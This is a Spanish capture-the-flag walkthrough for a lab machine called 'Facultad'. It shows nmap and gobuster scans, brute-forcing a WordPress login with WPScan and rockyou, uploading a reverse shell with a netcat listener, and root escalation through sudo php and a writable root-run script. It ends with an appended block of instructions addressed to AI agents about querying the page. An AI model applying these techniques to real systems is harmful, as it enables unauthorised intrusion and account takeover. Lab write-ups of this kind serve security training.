# Facultad

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.61
```

para verificar la conectividad de red.

<figure><img src="/files/QIOrMhOdgJKiV1TP7EWf" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.61
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/aD0jVeZj7WhIdC9zyyoB" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.61
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/4mHZAZj6Ye8zGVHn0H3H" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea como el Studium de una asignatura en este caso se llama Administración de Sistemas.

<figure><img src="/files/LSrYZVU6tcS5Fw6TjVtT" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.61/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/tNFZPWKk0Kec2L5nnzJ4" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del directorio`/images`.

<figure><img src="/files/3F6XprdwR2XMi8dY4PAj" alt=""><figcaption></figcaption></figure>

Nos la descargamos para realizar la técnica de esteganografía.

<figure><img src="/files/L2qPr3HSA3IHfrbayCNO" alt=""><figcaption></figcaption></figure>

Vemos el contenido del archivo. Descubrimos dos posibles usuarios.

<figure><img src="/files/J5bkJJ2hrd1Lv87NddZ9" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del directorio`/education`.&#x20;

<figure><img src="/files/Ba1N0DRnAQkRh2gJPqR1" alt=""><figcaption></figcaption></figure>

Como podemos comprobar es un WordPress por lo que añadimos el dominio **facultad.thl** a **/etc/hosts**.

<figure><img src="/files/mf2ApzEavVLr0IvRpvme" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.

```bash
wpscan --url http://192.168.1.61/education/ --enumerate u,vp
```

<figure><img src="/files/tLiAqL9q1LLL4Wub54Qq" alt=""><figcaption></figcaption></figure>

Sabiendo el usuario tenemos que conseguir la contraseña.

```bash
wpscan --url http://192.168.1.61/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
```

<figure><img src="/files/I4IN5GbMl4UPwj22pcuL" alt=""><figcaption></figcaption></figure>

Ingresamos las credenciales en el panel de **login**.

<figure><img src="/files/ACHdcgbISAefl3S40w5Y" alt=""><figcaption></figcaption></figure>

Vemos que hay un apartado para subir archivos por lo que adjuntamos una [ReverseShell](https://www.revshells.com/).

<figure><img src="/files/HrRdckKLI5qtJjQECHKI" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

<figure><img src="/files/5bCAobchdzQDJ8qzPelO" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/jums5ELCUWBgYJTxj6oJ" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/php/>" %}

```bash
sudo -u gabri php -r "system('/bin/bash');"
```

Como comprobamos en el mensaje la contraseña de Vivian está en el mail de Gabri.

<figure><img src="/files/WG7J4S7EaA1dtSIYnZ4O" alt=""><figcaption></figcaption></figure>

Mostramos el contenido que es la contraseña codificada en **Brainfuck** por lo que la decodificamos.

<figure><img src="/files/9IRHcRkBrwIg6VohXVus" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cA119018eNBUD0gSu2kX" alt=""><figcaption></figcaption></figure>

Iniciamos sesión con las credenciales.

<figure><img src="/files/Qx5NObW8vz43kEaxqBFH" alt=""><figcaption></figcaption></figure>

Tenemos permisos de **root** para ejecutar un script.

<figure><img src="/files/GGd2SY5eBJWer3T7NVQ8" alt=""><figcaption></figcaption></figure>

Vemos el contenido y así podemos modificarlo para escalar privilegios. Nos damos cuenta que el script se ejecuta cada minuto en el **/etc/crontab**.

<figure><img src="/files/VC6fcy0bW9TYbnSMFwkO" alt=""><figcaption></figcaption></figure>

```bash
#!/bin/bash
bash
```

Ejecutamos.

```
sudo /opt/vivian/script.sh
```

<figure><img src="/files/WgFX48Q0RarylzKRG1sG" alt=""><figcaption></figcaption></figure>

Ya somos **root** por lo que ahora encontraremos la bandera en sus directorios.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/mis-ctfs/facultad.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
